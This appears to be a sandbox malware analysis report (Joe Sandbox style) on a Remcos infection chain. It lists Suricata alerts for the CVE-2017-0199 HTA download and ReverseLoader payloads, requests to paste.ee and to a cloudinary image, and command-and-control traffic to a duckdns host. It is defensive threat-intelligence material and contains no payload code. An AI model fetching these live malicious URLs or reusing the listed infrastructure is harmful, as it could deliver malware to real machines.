Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80
Source: global traffic	TCP traffic: 192.210.150.24:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.210.150.24:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.210.150.24:80 -> 192.168.2.22:49162
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.210.150.24:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49165 -> 192.210.150.24:80
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49175 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49180 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49179 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49183 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49187 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49178 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49189 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49191 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49190 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49193 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49177 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49176 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49192 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49182 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49181 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49185 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49184 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49186 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49188 -> 107.173.143.10:14646
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 188.114.97.6:443 -> 192.168.2.22:49173
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 188.114.97.6:443 -> 192.168.2.22:49173
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 188.114.97.6:443 -> 192.168.2.22:49173
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 151.101.129.137:443 -> 192.168.2.22:49174

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: paste.ee

Uses dynamic DNS services

Source: unknown

DNS query: name: newglobalfucntioninside.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.22:49175 -> 107.173.143.10:14646

Source: global traffic	HTTP traffic detected: GET /r/o8fzA/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.6 188.114.97.6
Source: Joe Sandbox View	IP Address: 188.114.97.6 188.114.97.6
Source: Joe Sandbox View	IP Address: 151.101.129.137 151.101.129.137
Source: Joe Sandbox View	IP Address: 172.67.163.184 172.67.163.184

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49162 -> 192.210.150.24:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.210.150.24:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49171 -> 192.210.150.24:80
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.22:49173 -> 188.114.97.6:443

Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.210.150.24Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8897-Connection: Keep-AliveHost: 192.210.150.24If-Range: "142f6-6290bfc5f522a"
Source: global traffic	HTTP traffic detected: GET /55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.210.150.24Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Thu, 12 Dec 2024 05:28:35 GMTConnection: Keep-AliveHost: 192.210.150.24If-None-Match: "142f6-6290bfc5f522a"

Source: unknown

HTTPS traffic detected: 151.101.129.137:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_000007FE899B7018 URLDownloadToFileW,

7_2_000007FE899B7018

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9B62287A.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jktc.proConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/o8fzA/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.210.150.24Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1Accept: /Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8897-Connection: Keep-AliveHost: 192.210.150.24If-Range: "142f6-6290bfc5f522a"
